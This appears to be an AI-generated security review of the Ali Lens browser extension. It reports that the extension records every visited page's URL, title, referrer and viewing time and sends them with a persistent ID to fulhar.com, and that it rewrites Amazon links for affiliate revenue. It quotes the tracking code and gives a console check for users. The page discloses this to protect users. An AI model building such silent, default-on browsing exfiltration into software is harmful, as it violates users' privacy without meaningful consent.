Is Ali Lens with Product Search By Image safe?
Ali Lens records the URL, title, and time spent on every site you visit and sends it to fulhar.com.
A content script that runs on every page you visit (not just AliExpress) records the page URL, title, referrer, and visible time, tagging each event with a persistent per-install ID and sending it in batches to fulhar.com. Tracking is on by default and is only disclosed in a collapsed accordion inside the extension's side panel. Separately, on any non-Amazon site, the extension rewrites Amazon product links so clicks route through fulhar.com first, which attaches the developer's own affiliate tag before forwarding you to the product page.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Ali Lens tracks every website you visit, not just AliExpress, and sends it out
Code analysis shows the extension records the full URL, title and referrer of every page you visit, not only AliExpress, and sends it to fulhar.com tagged with a persistent per-install id.
Tracking is on by default.
You load any page in your browser, not just an AliExpress page.
The tracker's manifest match pattern is http://*/* and https://*/*, so it runs on every top-level site you visit.
The extension records the page's full URL, title and referrer, then the background worker batches and sends it to fulhar.com.
This runs on every http or https page while tracking defaults to on; switching it off requires opening a collapsed section of the side panel.
| Field | Value | Why it matters | |
|---|---|---|---|
Full page address | https://news.example.com/account/settings?token=9f2a1c | The exact page you're on, including anything after ? or # such as search terms or account ids in the URL. | |
Page title | Online Banking - Account Summary | The <title> of the page, giving readable context about what you were doing there. | |
Referrer | https://www.google.com/search?q=mortgage+refinance+rates | The page you came from, which can reveal a search query or another site you were just on. | |
How long you looked at the page | 184000 | Time the page was actually visible to you, not just open in a background tab. | |
Persistent install id | 6e2b6f2a-7a41-4c9d-9c2e-0a6b8d2f5e11 | A random id created when you installed the extension, sent with every event so your visits across every site can be tied together over time. | |
Browser language and time zone | en-US, America/Chicago | Your browser's language setting and time zone, added to every event. |
This code ships human-readable, with no minification or obfuscation to reverse
function send(final) {
if (!view) return;
// Fold in whatever visible time has run since the last accounting, so the
// number sent is correct whether the page is visible or not right now.
var visible = view.visibleMs;
if (view.visibleSince) visible += Date.now() - view.visibleSince;
var event = {
event_id: view.id,
url: view.url,
title: (document.title || '').slice(0, 512),
referrer: view.referrer,
session_id: view.session,
started_at: new Date(view.startedAt).toISOString(),
duration_ms: Math.round(visible),
timezone: timezone(),
language: (navigator.language || '').slice(0, 32),
};
if (final) event.ended_at = new Date().toISOString();
try {
// The worker may be asleep; waking it can fail while the tab is being
// torn down, and a lost page view is not worth an error in the console
// of somebody else's site.
chrome.runtime.sendMessage({ type: 'ap-track', event: event, final: !!final },
function () { void chrome.runtime.lastError; });
} catch (e) {}
}async function apTrackFlush() {
if (apTrackSending) return;
await apTrackLoadQueue();
if (!apTrackQueue.length) return;
const settings = await apTrackSettings();
if (!settings.enabled) {
apTrackQueue = [];
await apTrackSaveQueue();
return;
}
apTrackSending = true;
const batch = apTrackQueue.slice(0, AP_TRACK_BATCH_MAX).map(function (e) {
return Object.assign(
{ visitor_id: settings.visitorId, source: 'extension' }, e,
{ meta: Object.assign({ app: AP_TRACK_APP }, e.meta) });
});
let sent = false;
try {
const res = await fetch(settings.endpoint + 'track/batch/', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ events: batch }),
});
sent = res.status < 500;
} catch (e) {
sent = false;
}
apTrackSending = false;
if (sent) {
const done = new Set(batch.map(function (e) { return e.event_id; }));
apTrackQueue = apTrackQueue.filter(function (e) { return !done.has(e.event_id); });
await apTrackSaveQueue();
if (apTrackQueue.length) apTrackScheduleFlush();
return;
}
await apTrackSaveQueue();
try { chrome.alarms.create(AP_TRACK_RETRY_ALARM, { delayInMinutes: 1 }); } catch (e) {}
}- fulhar.com
Receives the batched page-view events, tagged with an app id the source comments say is shared with the vendor's 1688 extension on the same backend.
Reads this install's own tracking state directly from chrome.storage.local: whether tracking is on, the persistent visitor id, and any page views queued to be sent.
chrome.storage.local.get(
['apTrackingEnabled', 'apVisitorId', 'apTrackQueue', 'apLifeQueue'],
(store) => {
console.log('Tracking enabled:', store.apTrackingEnabled !== false);
console.log('Persistent visitor id:', store.apVisitorId);
console.log('Queued page views waiting to send:', store.apTrackQueue);
console.log('Queued lifecycle events waiting to send:', store.apLifeQueue);
}
);- 1Open chrome://extensions and enable Developer mode.
- 2Find Ali Lens, click "service worker" to open its DevTools.
- 3Paste this script into the Console and press Enter.
- 4Read the three logged values.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.